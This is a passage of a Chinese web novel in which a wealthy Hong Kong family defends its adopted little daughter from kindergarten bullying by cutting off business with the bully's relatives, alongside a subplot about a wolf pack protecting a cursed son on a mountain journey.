一边大喊着：“完了完了，封主有难，连带着我的功德也要损失无几，老子这十多年的修行算是白费了！” 祁山这边连哭都来不及擦眼泪，就忽然听见一声尖利的狼嚎划破空气！ 七八匹狼从两侧密林窜出，银灰色的身影快得像箭，领头的头狼直扑向老业主的脖子，利齿狠狠嵌入鬃毛下的皮肉。 另几只狼巧妙的绕到野猪群的正后方，一口咬住它们的命脉。 野猪群在这突如其来的攻击下，嗷嗷调转方向逃窜。 祁山看到这幅画面，人都傻了。 还有车身上的黎墨郢，在看见这幅厮杀的场面时，血液里的战斗像是被唤醒，全身的热血都在沸腾、燃烧，使他的眼睛呈现出了暗红色。 薄薄的黑色雾气，似要冲破他的身体，却被金色的光晕限制，迟迟没有爆发。 眨眼，狼群屠戮了野猪群，腥甜的血气弥漫在山腰，为首的头狼利齿以及身体都沾染着鲜血，一步一步，向车上的黎墨郢走去。 …… 孙隆运气还不错，在山下的不远处，找到了一个村落，向一位村民购买到了汽油，足够他坚持赶到山下的加油站。 孙隆给村民留了一些钱，带着汽油往回赶。 还没回到休息地，就感觉到不好，闻着浓郁的血腥味回来，他一眼看到遍地的鲜血，还有野猪横七竖八的尸体，差点两眼一黑，就地晕过去。 “三少爷……”孙隆用仅存的侥幸呼唤了一声。 因为他在下山和回来的过程中，并没有预料到危险，黎墨郢为大凶转世，若有危难，天空必然会出现异况的。 “三少爷？”孙隆没有得到回应，又叫了一声。 这次，回应他的是祁山。 “孙道友，你总算回来了，你都不知道，刚才状况有多危险！”祁山睡眼惺忪的从帐篷里出来。 “三少爷没事吧？”孙隆焦急的问道。 祁山笑着摇头，告诉他：“我们刚才遇到野猪群，差点就被吃了！幸好，一直追赶咱们的狼群出现，把野猪群给赶跑了。” “那三少爷呢？他怎么样？”相较于发生了什么，孙隆还是更担心黎墨郢的安全。 祁山做了‘嘘’声的手势，告诉他：“他说睡不着觉，我刚给他喝了点酒，好不容易睡了。至于那些一直追着我们的狼群……” “它们怎么了？难道三少爷用了灵力？”孙隆最怕的就是这个，焦急的将他打断。 黎墨郢在没有学会运用之前，胡来只会不断耗干他的精气。 到时候，就算有瑞凤之力的压制，他也会变成一具杀人的机器，重复以往的罪孽。 “没有，那些狼群一直就不是想要咱们的命，而是受到天道指引，过来保护咱们。” 确切的说，那些狼群真正保护的人，是黎墨郢。 孙隆听完两腿直接发软，扑通一声跪到了地上，朝着正南的方向，哭笑不得。 “多谢瑞凤庇佑，这一路……恕老夫愚钝啊！” …… “臭黑龙，不准你欺负三哥哥！” 黎墨城睡的正香，忽然，被一只小拳头砸在了鼻梁上面，结结实实的劲道，硬是把他给疼醒了。 黎墨城捂着高挺的鼻梁，就见睡梦中的小丫头，紧紧的攥着小拳头，两条眉毛紧紧的拧着，没多久，吸了吸鼻子，开始抽噎。 “婉婉？”黎墨城唤醒未果，将小家伙抱在怀里。 黎墨城轻轻抚摸她的头，舒展着她的神经。 却听见小家伙口中的梦呓：“三哥哥，婉婉好想你。” 原来是梦到了老三…… 这一刻，饶是黎墨城在大度，也不禁有些吃醋。 看来她在和老三的相处中，对他的依赖，远远超过了自己。 黎墨城的怀抱紧了紧，就算心里吃味，也仅限于吃味罢了，一个是她最喜欢的妹妹，一个是他一母同胞嫡亲的弟弟，两个家伙，都是他最在乎的人。 算了，自己大度，不跟他们一般见识。 黎墨城无奈的笑了一声。 小婉婉在他的笑声里，睁开了眼睛，一汪眼泪顺着眼角滑落，在看到黎墨城与黎墨郢相似的面孔时，她本能的喊了一声：“三哥哥。” 但是很快，她就发现抱着自己的人是黎墨城，憋着小嘴儿，一副认错了人的尴尬模样。 “大哥哥。” “嗯。”黎墨城轻轻抚摸她的头发，嗓音温柔的问：“想你三哥哥了？” 小婉婉诚实的点头：“我梦见大黑龙又缠着三哥哥，大哥哥，三十到底是多少天？” 关于三十到底是几的问题，小婉婉就算学会了数数，可是她还不会算数，是以，这个问题一直烦恼着她。 黎墨城望着她水灵灵的大眼睛，干脆抱着她起身，走到日历跟前。 指着上面的日期，教她辨认。 “你看这个月从一号到三十一号，也就是三十一天，阿郢是七号那天出门，那么从今天往后数，八、九……” 黎墨城带着小婉婉一天一天数数，终于数到了黎墨郢说的三十天的日子，他拿出记号笔，在上面画了个对号。 “不出意外的话，这天你三哥哥就会回来了。” 小婉婉猛点头，脑海里终于有了概念，就不那么着急了。 抱着黎墨城的脖子，打了个小哈欠。 “那我们睡觉好不好？” “好。”小婉婉点头如捣蒜，躺在床上后，抱着黎墨城的胳膊酣然睡下。 …… 清晨，黎墨城才刚陪小婉婉起床，黎墨冰就穿戴整齐的来到院子里，以跟他一起送小婉婉上学为由，到他这里蹭饭。 黎墨城一早上的独处时间被打扰，全程黑着脸，只有在和小婉婉说话的时候，才会露出和颜悦色的模样。 小婉婉今天穿上了学园的校服，看起来就更有模有样了，在饭桌上规规矩矩的吃完早饭后，就背上了大书包。 “大哥哥，二哥哥，今天你们都去送我上学么？” “是呀，大哥哥和二哥哥一起送你，婉婉开心吗？”黎墨冰趁着说话的功夫，将小婉婉抱在怀里。 小婉婉靠在她的肩膀上，小脑瓜猛点。 “开心，婉婉最喜欢上学了。” “哎呦，婉婉真棒，将来肯定有大出息。”黎墨冰不遗余力的夸奖。 小婉婉眨巴着奶萌萌的大眼睛问道：“二哥哥，什么是大出息？” “大出息就是以后我们的婉婉会很厉害，做什么都会成功的。”向来人前一套背后一套的黎墨冰，只有在小婉婉的面前，会流露出真诚来。 黎墨城望着他浸透浓浓喜爱的眼眸，难得，没有出声呛他。 安静的吃完早饭，催促了一句：“该走了。” 黎墨冰自发的抱起婉婉，跟在他后面，坐进了车子里。 因为他被吊销了驾照，黎墨城做司机也没有怨言，只想着多一个人陪伴婉婉也好，至少能在行驶的过程中护着她。 车子一路不疾不徐的行驶到了学园大门口，小婉婉被园长拉着小手，和两位哥哥道别后，开心的跑上了二楼。 刘祖玉这会儿并没有在班里，只有一个助教的老师，在音乐中带着小朋友们做晨间体操。 小婉婉见状立刻放下书包，跑去和小朋友们一起活动。 没想到，就在她选定了位置，准备加入活动的时候，身后突然伸来一只手，将她推倒在了地上。 王羽珊两手叉腰，瞪着气鼓鼓的眼睛：“走开乡巴佬，不准挡着我！” 第77章 黎家一句话，港城跟着颤 助教老师发现同学之间发生矛盾，赶紧过来查看，就发现小婉婉的头磕到了凳子腿，鼓起了一个大包。 “宝贝，你没事吧？”助教老师赶忙将小婉婉抱起来关心。 小婉婉整个小人儿都是懵的，反应过来后，也没有因为受伤掉眼泪，而是看向推她的王羽珊，大眼睛里写满了不解。 明明她昨天已经答应过老师，可是她今天还在骂自己，不禁在小脸儿上浮现几分失落。 不过很快，她就发现助教老师急得都快哭了的表情，还反过来安慰道：“老师不怕，婉婉不痛。” 助教老师光是看着小婉婉头上的大包就心疼的不行，现在又被小丫头安慰，懊悔的不行，都怪自己没有把孩子带好。 “老师带你去医务室！” 助教老师抱着小婉婉去处理伤口，而王羽珊非但没有收敛，反而变本加厉，凶巴巴的对周围的小朋友说道：“我妈咪说了，她就是一个乡巴佬，我才不要和她做朋友呢！你们要是谁和她做朋友，也是乡巴佬，以后都不能和我玩了！” “王羽珊，我不是乡巴佬，我跟你玩。”昨天出卖过她的曲飞飞，昨天被她冷落，今天第一个站出来表态。 紧跟着，其他的小朋友也纷纷说道：“我们才不跟乡巴佬一起玩！” “对，不跟乡巴佬一起玩！” 王羽珊得到了同学们的认可，傲娇的扬着下巴说：“那你们都是我的好朋友，我们都不跟乡巴佬一块儿玩！” 另一边。 助教老师刚抱着小婉婉来到医务室，就发现她头上的大包恢复了，仿佛没有碰到过一样。 出于不放心，她还是让医生检查了一番，确定她没有受伤，才带她回到班级。 届时刘祖玉已经回到教室，准备上课，助教老师怕被追究责任，就把早上发生的意外咽进了肚子里，没有跟刘祖玉提起。 “你们去哪儿了？” 面对刘祖玉的疑惑，助教老师也只是说道：“她想去厕所，我怕她找不到路，就带她去了。” 刘祖玉没有多想，让小婉婉回到座位上，开始带着大家数数，从一数到一百，她发现昨天还连十个数都不会数的小婉婉，今天竟然全程都跟了下来。 为了鼓励她的学习兴趣，刘祖玉奖励她一朵小红花贴纸。 “婉婉宝贝，你要加油哦，很快就能赶上其他小朋友的。” “老师我会哒！”小婉婉额头上贴着小红花贴纸，看起来就像是一个从年画中走出来的福娃娃，简直不要太讨人喜欢。 刘祖玉按耐住想要亲一口她的冲动，组织小朋友们进行课间活动。 便是两个人为一小组，比赛数数的游戏。 刘祖玉为小婉婉临时安排了一个小组，没想到她刚刚去找自己的队友，就被对方用力推了一把。 “乡巴佬，野孩子，我才不要跟你一组呢！” 说完，小男孩儿举起手：“老师，我肚子疼！” 刘祖玉无奈的点头，让小男孩去厕所，见到小婉婉落单，她将小婉婉叫到自己身边，让她先看着大家活动。 小婉婉站在刘祖玉的身边，大眼睛里都是参加活动的期待。 刘祖玉也察觉到她的期盼，在最后的时候，由她和小婉婉组队，成功接上了数数的游戏。 刘祖玉没想到昨天留给小丫头慢慢追赶从1数到100的进度，她一个晚上就撵上了，欣喜之余，她在全班同学面前，奖励她一朵小红花。 “哼，明明我们都会数，老师只奖励她一个人！”王羽珊小肚鸡肠的抱着手臂说道。 成功的带动了其他小朋友的落差感，看待小婉婉的眼神更加不友好了。 中午，到了吃饭时间。 小婉婉拿着餐盘，点了很多好吃的东西，回到座位上准备享用的时候，听见侧后方响起阴阳怪气的声音：“你么知道吗，乡巴佬每天只能吃泥巴，所以她才像猪一样，什么都爱吃！” “我们才不跟乡巴佬学习，煎鱼难吃死了，我才不吃呢！” “乡巴佬，羞羞羞，像个大馋猫一样！” “野孩子，略略略！” 小婉婉听见后面传来的议论，顿时觉得餐盘里的食物都不香了。 可是好宝宝不能挑食，必须要把饭菜都吃光光，才能长壮壮！ 小婉婉含着一圈眼泪，吃完饭，把餐盘干干净净的教给老师，果不其然，相较于其他挑食的小朋友，她再一次受到刘祖玉的夸奖。 “今天黎婉婉小朋友没有浪费，所以老师要奖励她小红花哦。”说着，刘祖玉将小红花贴在婉婉的手背上。 然而班里的小朋友只有个别向她学习，有很多人都像是没听见一样，剩下了很多粮食。 刘祖玉本来想通过黎婉婉调动一下大家吃饭的积极性，没想到一点效果都没有，只能无奈的叹了口气。 感慨这些富家子弟的生活条件太好，要知道受环境限制，要知道港城还有很多孩子，连一个上学的机会都没有，而他们却一点也不知道珍惜…… 午睡过后。 外教老师过来给小朋友们上英语课，小婉婉第一次接触外语，哪怕完全听不懂老师在讲什么，仍然表现出了极大兴趣。 可惜外教老师在提问她，发现她完全回答不上问题后，就再也没有给她一个多余的眼神。 这让婉婉有些挫败，沉默到了下课。 王羽珊带着班里的小朋友，喊她‘try,bumpkin’。 小婉婉即便不懂什么意思，也能感受到大家对她的不友善，她不明白为什么大家这么不喜欢自己，只能低着头，眼圈红红的。 这时，最开始带头排挤小婉婉的王羽珊，乐极生悲，忽然不小心摔倒，导致两颗门牙磕在桌子上，直接掉了。 王祖山带着满嘴的鲜血，哭得像狼嚎一样，刘祖玉回来时吓坏了，赶忙将她送去了医务室，是以，根本没有时间观察小婉婉的情绪。 晚上放学。 黎墨城和黎墨冰准时过来接妹妹放学。 小丫头一上车，兄弟俩不约而同的感觉到了一股沉默的低气压。 黎墨冰心思活络，当即把小婉婉抱在怀里哄道：“让二哥看看咱们的婉婉宝贝，今天怎么不高兴？” 小婉婉将整张小脸儿都埋进黎墨冰的怀里，一天当中受了太多委屈，都不知让她从何说起。 黎墨冰上一秒还带着笑意的面孔，在小婉婉看不到的地方，透出几分阴郁。 开车的黎墨城也格外沉默，半晌，他开口：“婉婉，班里有人欺负你了？” 小婉婉揉了揉发酸的眼睛，抬起头，奶声奶气的问黎墨冰：“二哥哥，什么是乡巴佬？” “谁这么叫你了？”黎墨冰上一秒还透着笑意的眸，转瞬浮现阴暗之色。 他会转弯的脑袋里，已经罗列了几十个报复的计划！ 敢这么说婉婉，简直找死！ 黎墨城也因为小婉婉的提问，紧紧的抿着嘴角，他踩下油门，加速行驶。 小婉婉默不作声，大抵，也从两位哥哥的表现中，明白了那确实不是好听的话。 “婉婉，告诉二哥，谁这么说你？”黎墨冰每一个字音，都从齿缝中咬出来。 小婉婉却陷入到自我的怀疑中，寻找自己的问题，迟迟没有回答。 黎墨城始终不发一言，将车子开进山庄，在岔路口，黎墨冰畜生提醒：“大哥，咱们俩刚接送婉婉，就发生这样的事，阿爷和阿奶知道了，以后咱们俩都别见婉婉！” 黎墨冰的话提醒了黎墨城，到底是他的心思重一些，能想到这一层面。 黎墨城眸色冷冽，直接下车，将婉婉抱在怀里。 “你先回去，这件事我来处理。” “不行，我跟你一起！”黎墨冰自从亲眼见过婉婉被人欺负，就再也不容许她受到半点儿委屈，坚决要跟黎墨城一起解决。 黎墨城在工作中见惯了黎墨冰浑水摸鱼，眼下见他同仇敌忾的反应，没再阻止，默许他跟自己一起回到院子。 就在兄弟二人回院子的路上，宋珍珍恰好经过，看见三个家伙神色异常，出声将他们唤住。 “这么着急忙慌的，后头有耗子咬你们脚后跟？” “妈。”黎墨城唤了一声。 黎墨冰则恭敬的颔首，叫了声：“妈咪。” 唯独黎墨城怀里的小婉婉，在看到主母宋珍珍的时候，眼睛里闪过一缕茫然，迟迟没有叫人。 宋珍珍敏锐的察觉到了小婉婉的异样，虽然在她来到黎家后，接触的机会有限，可她先救了自己的大儿子，又帮助自己的小儿子渡过难关，宋珍珍对小婉婉也是上心的。 “婉婉宝贝怎么不高兴？来，让妈咪抱抱。” 宋珍珍对小婉婉伸出手，小婉婉并不抗拒，乖巧的被宋珍珍抱在怀里。 小人儿入怀的那一瞬间，宋珍珍的心肠就被软化了，要知道这还是小婉婉来黎家，她第一次这样跟她亲密的接触。 “怎么不开心呢宝别，告诉妈咪，是不是你两个臭哥哥欺负你了？”宋珍珍故意拿两个儿子当借口。 果然，激发了婉婉澄清的欲望，瘪着小嘴儿，趴在宋珍珍的怀里说：“妈咪，哥哥没欺负婉婉，婉婉是乡巴佬，大家都不喜欢我。” “怎么会！”宋珍珍听到这话的时候，浑身的鸡皮疙瘩像是拉响了警报！ 这么一个乖巧伶俐的小人儿，谁敢说不喜欢，宋珍珍第一个不答应！ “告诉妈咪，谁说不喜欢我们婉婉，妈咪必须得找她算账！” “妈咪……”小婉婉紧绷了一天的神经，就因为宋珍珍的一句话，转瞬就哭成了一个泪宝宝。 宋珍珍光是听小家伙哭得那么难过，就知道她受了多么大的委屈，一边拍着后背安抚，一边抱着她，头也不回的去往自己的院子。 “婉婉，你告诉妈咪，谁敢欺负你，妈咪帮你教训他们！”宋珍珍这些年潜心修佛，除了自己两个儿子遇到困难，已经很久不问家里的事了。 如今拿出当家女主人的姿态，要为小婉婉主持公道，黎墨城和黎墨冰都没有开口，安静的等着小婉婉自己说。 “妈咪，同学们说婉婉是乡巴佬，说婉婉是野孩子，不喜欢婉婉呜呜呜。” “什么？”宋珍珍浑身的汗毛都炸起了，要知道上一次她这么生气，还是发现二房给黎墨郢下诅咒的时候，简直杀了二房的心思都有！ 她先是瞪向两个没有及时给她做主的臭小子，转而将小婉婉紧紧的抱在怀里。 一呼一吸间，女主人的身份觉醒，她当即做了一个决定。 “明天我送婉婉上学，看看谁敢这么说我们！” 这晚，小婉婉被宋珍珍留在房里休息，次日清晨，宋珍珍不光给自己收拾体面，也给小婉婉收拾得干净整洁，亲自送她去上学。 到了学园，小婉婉刚要下车，宋珍珍将她抱在怀里，眸光清冷地睨着园长。 “昨天我女被同学欺负，我哄了好久才把她哄好，园长，你是否要给我一个交代？” 园长见状赶忙叫来了刘祖玉，可惜刘祖玉昨天忙着处理王羽珊磕坏的牙齿，根本没有注意到婉婉的情况，被叫来的时候，人处在半懵的状态。 “对不起婉婉妈咪，昨天班里发生了意外，我并没有听到婉婉跟我说她被欺负了。” 宋珍珍听后认为她在推卸责任，更加火大：“你不用推卸责任，你们班里的孩子都叫我女儿乡巴佬，我不信你作为老师一点都没留意。我女儿自从来到我家，半点委屈都没受过，结果上学才没两天，就被这么欺负，是觉得我黎家好惹的？” 刘祖玉被宋珍珍的话震得头皮发麻。 听宋珍珍的语气，港城只有一个难惹的黎家，便是首屈一指的港城首富！ 但她本着无愧于心的想法，开口解释道：“婉婉前天确实受到了一点排挤，但是我已经批评过那两个小朋友，婉婉也说原谅她们了。” 宋珍珍听完只是冷哼了一声。 “刘老师，你是第一天带班吗？不了解你班里的孩子？我现在不想跟你废话，我要立刻见到对方的家长，当面问问他们是怎么教孩子的！你不用想着息事宁人，这件事一天不处理，那你么学校今天就别想上课！” 瞧不起人是吗？ 那宋珍珍就让所有人知道，她黎家人放一句话出来，整个港城都得跟着颤！ 第78章 别哭了，我没有心情哄你 刘祖玉见宋珍珍不像是开玩笑，而是来真的，立刻召集了所有助教。 而那位助教最终扛不住压力，不得不坦白，昨天小婉婉被王羽珊推倒，头上被磕了个大包的事实。 刘祖玉听后浑身发麻，知道眼下的情况已经不是息事宁人能够处理的，与园长协商后，通知了王羽珊的家长赶紧过来一趟。 以黎家在港城的背景，到时是该认错还是协商赔偿，都已经不是他们园所能够左右得了的了。 …… 王羽珊昨天被磕坏了牙齿，王耀祖和任欢本来就对园所有了意见。 今天再接到刘祖玉电话，更是气愤不已的来到学校。 然而当王耀祖看到宋珍珍那一瞬间，脸上立刻转为了巴结之色，顶着一张油腻的大脸走过来问：“家嫂，你点会喺呢度？” 宋珍珍看到王耀祖，眼神里盛满了轻蔑。 她就知道，敢在园所公然欺负人的，也只有他们这般不知天高地厚的东西。 “王羽珊是你们女儿？”宋珍珍冷声问。 王耀祖大抵知道，自家女儿欺负的孩子，就是黎立轩刚接到家里的便宜女儿！ 不过是个从内地认养的一个小野种，也值得宋珍珍这样大动干戈？ “家嫂，这都是误会啦！小孩子相处嘛，难免有些磕磕碰碰的对不对？就当是珊珊不懂事，我们回去肯定好好教育她，还望您大人不记小人过，别跟小孩子一般计较。” 宋珍珍却丝毫没有给他留情面，而是冷声呵斥：“怪不得，什么样的父母，教出什么样的孩子，受欺负的是我女儿，你们站着说话不腰疼。既然如此，尽快给你们孩子办转学，免得污染学习环境，影响到我家婉婉。” 宋珍珍这话说的高高在上。 而王耀祖之所以能够在港城横着走，也不过是因为黎家。 他的亲姐姐嫁给了黎家二房之子黎立正，是以，他才叫宋珍珍一声‘家嫂’。 可这其中有包含着嫡庶间的关系，让王耀祖不得不在宋珍珍面前低下一头。 “我们都是一家人嘛，又何必闹得这样难看？” “你姓王我姓宋，谁跟你是一家？”宋珍珍搬出了娘家，愣是让地位低于她的王耀祖哑口无言。 “赶紧把你女儿带走，否则，我不确保我会对她做出什么。”宋珍珍最后一句威胁，如同将王耀祖架在火上炙烤。 不得已，他只有让妻子将女儿先带回家，然后再从长计议。 …… 王素珍接到弟弟打来的电话，得知因为黎立轩五房带来的女儿，害得自己的亲侄女没有学上，当即怄了一股火。 “不过就是个内陆来的野丫头，说她乡巴佬有错吗？” 王素珍心里郁愤，思虑片刻，给弟弟出主意：“这件事我去求老太太做主，总归小题大做，明天你们带着孩子来给宋珍珍请罪，再过来我这边说明情况，老太太一定咽不下这口气！” 自从吕洁芳上次因为过敏住院，折腾了半条命过去后，不是没找过黎老爷告状。 然而最后都被打发了出来，可见她这一脉，已经彻底不受重视了。 吕洁芳因此整日郁郁寡欢，像是被磨灭了斗志，连最基本的东西都不再为他们争取。 王素珍早就看不过去，但又不能出面指责婆婆，正好借着眼下的机会，刺激她一番。 …… 当晚，在王素珍的建议下，王耀祖就带着老婆任欢来到黎家，成功面见到了宋珍珍。 “家嫂，都是我们对珊珊教育的疏忽，才让她犯下错误，我们已经决定给她转学，还望您不要再计较孩子的过失。” 宋珍珍见夫妻二人态度不错，便决定不再继续追究。 请二人吃了两杯茶水，就把人打发了。 王耀祖又带着任欢来到二房奶奶的院子，吕洁芳病了一场，人瘦得差不多只剩下一副骨头架子，奄奄一息的躺在床上。 但是当她听到，王耀祖说起为了避开宋珍珍的锋芒，决定给孩子转学，吕洁芳强撑着身体从床榻上坐了起来。 “你说什么？宋珍珍为了那个继女，让你们把孩子从学校转走？” “是，家嫂非常生气，如果我们不给珊珊转学，以后在班里，孩子的日子不会好过。”任欢一边说着，从眼角挤出几滴眼泪。 “一个继女罢了，宋珍珍她至于这么小题大做！”吕洁芳气得脸上没有一丝血色。 在她看来，王耀祖向宋珍珍低头，已经是给了她很大面子！ 就算是看在自己的份上，也不该把事情做的这么绝！ 宋珍珍打的不是王家的脸，而是她吕洁芳的这一张老脸。 “你们不用给孩子转学，我跟她说！” 如王素珍所料那般，吕洁芳果然将麻烦揽到身上，要去王家出头。 王耀祖这番过来也就是走个形式而已，见吕洁芳果真插手，顺理成章的应承了她的意思。 “阿婆，多谢！珊珊在学校环境都习惯了，如果不用转学，就太好了！”任欢抱着吕洁芳的胳膊，感动的鼻涕一把泪一把。 吕洁芳闭上眼睛，摆了摆手。 等到王耀祖夫妻二人离开，她再睁开眼睛，被皱纹填满的浑浊眼底，乘着浓浓的盛怒。 她叫来身边最信任的佣人，去转告宋珍珍：“就说我说的，珊珊不会转学，她要是不满意，就把那个小野种从学园转走！” 佣人即刻按照吕洁芳的交代，去通知了宋珍珍。 宋珍珍刚把小婉婉哄睡，听了佣人的话，她将孩子交给王妈，让她小心送到卧室。 而后慢条斯理的起身，走到吕洁芳的佣人面前说：“那你就回去告诉二奶奶，既然不愿意让王羽珊转转学，那以后，黎家和王家的所有生意就都停了，孰轻孰重，让她仔细掂量。” …… 吕洁芳听到宋珍珍的答复，气得差点呕出一口老血！ “她竟然为了一个野丫头，枉顾王家跟黎家多年情分，连生意都不做了？” “是的，二奶奶，大夫人就是这么跟我说的。” “好，我还没死呢，她就无法无天，若我真的有事……”那以后还有她们这一房的活路吗？ 王素珍今天不光拂了她的面子，而是将整个二房的尊严都踩在了脚下！ 吕洁芳勉强撑着拐杖，从床上起身，佣人赶忙拿来斗篷、帽子和脸罩给她戴上，以防止到外面接触到花粉，再导致过敏。 而吕洁芳的身体，自从出院后，每况日下，已经不能再频繁遭受刺激了。 “老爷——” 吕洁芳人还没进门，哭声便先从门外传了进来。 黎老爷子一听这动静，太阳穴一阵突突的跳。 回想当年，吕洁芳就是凭借着她的温柔、顺从，才被老太爷欣赏，趁着他与千雪常年分别的空隙，将她安排在身边照顾。 渐渐地时间长了，他也被吕洁芳的温柔和痴情感动，不惜与发妻冷战了两年，也坚持把人娶回家来当姨太太。 吕洁芳也在进门后受了几年宠，先后为他生了次子黎立正、三女黎丽敏。 她在有了孩子之后，腰杆渐渐的挺直了起来，恃宠而骄的她渐渐的暴露出了本性，每每吹耳旁风，提携她娘家兄弟，直到有一次，因她娘家兄弟玩忽职守，犯下重大过失，导致损失惨重，害得他差点失去继承权。 黎老爷这才看透她的虚伪，立即懊悔的跟发妻承认了当年的错误和冲动，千雪为了自己的孩子，借用娘家的全部力量，才堪堪帮他稳住大局，不过她也提出了一个要求。 那就是黎家生意，大房可以全权做主，不可旁落给庶子。 黎老爷果断答应正妻的要求，从那以后专心培养长子，将吕洁芳那一房忽略了个彻底。 吕洁芳进门就跪在了地上，两只苍老的手抓住老爷子的裤腿，随着她解开脸上的面纱，露出一双深深凹陷，皱纹遍布的苍老面孔。 别提风韵犹存了，吕洁芳也不过一个多月没出门，就老了几十岁。她这副油尽灯枯，即将干枯腐朽的样子，着实把黎老爷吓得瞪大眼。 下意识扒拉开她的手，从椅子上站起来，远远躲开：“瞧瞧你现在的样子，怎么年纪越大，反而越有失稳重！” 黎老爷皱着眉，冷声吩咐吕洁芳身边的佣人：“还不赶紧把她扶起来！” “是，老爷。”佣人伸手搀扶。 吕洁芳看见老爷对她的嫌弃，哭得更伤心了，抽噎半晌，也没说出她的来意。 黎老爷被扰得心烦，大声呵斥：“别哭了！我没有心情哄你！” “老爷……”吕洁芳看着黎老爷不改往日的厌烦，心头燃烧的不甘愤怒，快要将她的灵魂焚烧成灰烬。 可她知道自己不能倒下，她用手帕擦拭眼泪，期期艾艾的开口：“老爷，我知道你答应过姐姐，不许我的儿子插手家族生意，这些年我为了不让你为难，把委屈都咽了下去。 阿正都只能靠自己，开了一家小型建筑公司。可是今天我才发现，我越是隐忍，只会让人按着头欺负！我真是……好委屈啊呜呜。” 说到后来，吕洁芳又放声大哭了起来。 黎老爷冷冷的白了她一眼，听她的话头，就知道又是告状来的。 她一辈子也就这点本事。 “我是不让阿正插手生意，可这些年也没有亏待过他什么，该给他的照顾一样不少。还有你，天天在院子里养尊处优，家里谁见了你，不都叫一声二奶奶？你还想要多少才能知足，才能不委屈！” 吕洁芳赶紧摇头，为自己澄清。 “老爷，我从来没有贪图过分毫不属于我的，我只是想要得到该有的尊重，难道也有错吗？” “谁不尊重你了？”黎老爷子弯下腰问，只想快点听她说完，好能撵走。 “是宋珍珍！她为了五房从内地带来的小野种，因为在学园闹了一点矛盾，就非逼素珍的侄女转学，我顾念黎家和王家这么多年的情义，亲自跟她说和，没想到她非但不给面子，还用停掉生意来威胁我！” 吕洁芳只顾着告状，没有留意到黎老爷的脸色，在她开口叫小婉婉‘野种’的时候，就黑了个彻底。 老爷子深沉的眼睛酝酿着无边的愤怒，忽然上前一大步，抓住了她的手腕。 “你再说一遍？” 吕洁芳愣了片刻，转而就因为老爷子的力气，整条手臂似乎要断掉一样。 “啊老爷你快放开，我的手好疼啊！” “怎么不疼死你？”黎老爷放手的同时，用力一甩，将吕洁芳推倒在地。 吕洁芳满眼都是诧异，却见黎老爷坐在太师椅上，对她怒目而视。 “吕洁芳，你口口声声黎家和王家有情义，也是他们王家单方面的寄生！我这么多年不提，已经是睁一只眼闭一只眼，如今你倒是提醒我，该把周围的臭虫清理清理？” “不……老爷！不要啊！王家与黎家的合作，阿正和素珍都没有沾手，您可不能因为素珍嫁给了阿正，连一丝机会都不给他们留，要知道跟我们黎家没有关系的，都能正常建立合作，这对王家不公平啊老爷……” 黎老爷却哼了一声，脸色越发沉了下来。 “那你就别打着情义的幌子，掺和阿珍的事！本来你不找我，我还不知道发生了这些事，现在就凭你说的这些话，不光得转学，生意也必须都停下！” “什么？” 吕洁芳本意是想向老爷子诉苦，从而达到讨伐宋珍珍，阻止她逼迫王羽珊转学的目的。 这样既能出了之前被害住院的恶气，还能替阿正卖给王家一个人情，从而在日后他有困难的时候，多一份助力。 可是没想到竟然适得其反了？ “老爷，不能啊！我不管了还不行吗？求求你看在我们多年夫妻的份上，不要这么绝情！你这样让阿正以后如何有颜面见他的岳父岳母？他和素珍夫妻也会离心的呀老爷……” 吕洁芳跪在地上苦苦的哀求，黎老爷就是不为所动。 就那么冷冷看着她许久，道了声：“来人。” 黎老爷院子里的佣人全都走进来待命。 便听他用不容置喙的口吻命令道：“把二姨太送回去，她身子弱，多派几个人照顾，家里来了闲杂人等，一律避免打扰！” 第79章 像个牛皮糖 把吕洁芳送走，黎老爷越想越生气。 外面的人不知晓情况，轻看婉婉也就算了。 吕洁芳一个本家奶奶，竟然敢在他面前大放厥词，关她都是轻的！ 黎老爷特意招来佣人，让去宋珍珍院子里传话，不管王素珍的侄女是否转学，与王家的生意都必须停！ 宋珍珍本来准备休息的，听到佣人的传话后，愣是躺在床上，兴奋的睡不着。 实际上，黎立轩早就已经看不惯王家人两面三刀的做派，一直都想找个借口，彻底划清界限，即便黎立正没有插手生意，可两家的情面还是要顾及的。 要知道凭借黎家在港城如今置下的产业，就是因为这些情面的牵扯，才不停的放慢脚步，已经快要被其他三大家族赶超。 这下好了，是他们自己作死送上门来，老爷子都亲自发话，那就不能怪她冷血无情！ 先拿王家开刀，之后，一个跟着一个…… 宋珍珍做梦都要笑醒了！ “妈咪！”不大的小人儿见到宋珍珍，踩着一双会叫的青蛙拖鞋跑过来，顶着头上的一撮乱毛，憨态可掬的抱住她的大腿。 宋珍珍立刻弯腰把小婉婉抱起来，坐在椅子上，拿起梳子为她梳头，而后一边说道：“婉婉今天放心大胆的去学校，妈咪已经把坏孩子赶跑，没人敢再欺负你。” “嗯嗯，谢谢妈咪。”小婉婉下巴点了点。 过了一夜，情绪已经恢复好了，梳好了头发，拉着宋珍珍的手一起去餐厅吃饭。 饭后，宋珍珍亲了亲她的小脸儿，将她交给黎墨城的时候，别说，心里竟然有那么点儿不舍。 看着小丫头的模样，除了让她想起两个儿子幼年的温馨回忆，也弥补了没有生出女儿的遗憾，让她的心口像是被什么东西捂着，不再那么冷血。 “快走吧，晚上妈咪再过来陪你。” “嗯，妈咪拜拜。”小婉婉挥了挥小手，乖巧跟着黎墨城出了院子。 来到车子边，黎墨冰穿着他惯常喜欢的那件花衬衣，正不断的打哈欠，一看就是晚上没有睡好。 黎墨城眉角微皱，换做以往他爱到哪里野，哪怕死在外面，都不过会多过问一句。 但现在他要一起接送婉婉，还不着调，怎么保障安全？ “明天你还是这幅德行，就给我滚蛋。” 黎墨冰被训斥，一脸无辜的摊开手：“拜托大哥，我也是为了应酬好不好？嚟真当我系纨绔！” 翻了个白眼，黎墨冰把小婉婉抱起来，坐在车子后面。 黎墨城还是不放心，上车后，冷声警告：“你敢睡着，要你好睇。” 黎墨冰强撑着瞌睡的眼皮，在车子开走的时候，抱紧婉婉充当人形靠椅。 …… 王氏集团。 王耀祖昨晚回去后，就接到王素珍的通知，吕洁芳的面子不管用，还是必须给孩子转学，否则黎家就会停掉一切生意合作。 两权相害取其轻，尽管王耀祖舍不得女儿受委屈，可还是在利益之下妥协了，一大清早就让任欢带着孩子去新学园报道。 可是当他来到公司，屁股在办公椅上都没坐稳，就接到了一通来自黎氏航运相关部门的电话。 “抱歉王总，由于董事长亲自发话，我们这边只能终止合作，后续程序由法务部门找您办理。” 王耀祖脑袋‘嗡’的一声，正想追问两句，对面就将通话结束了。 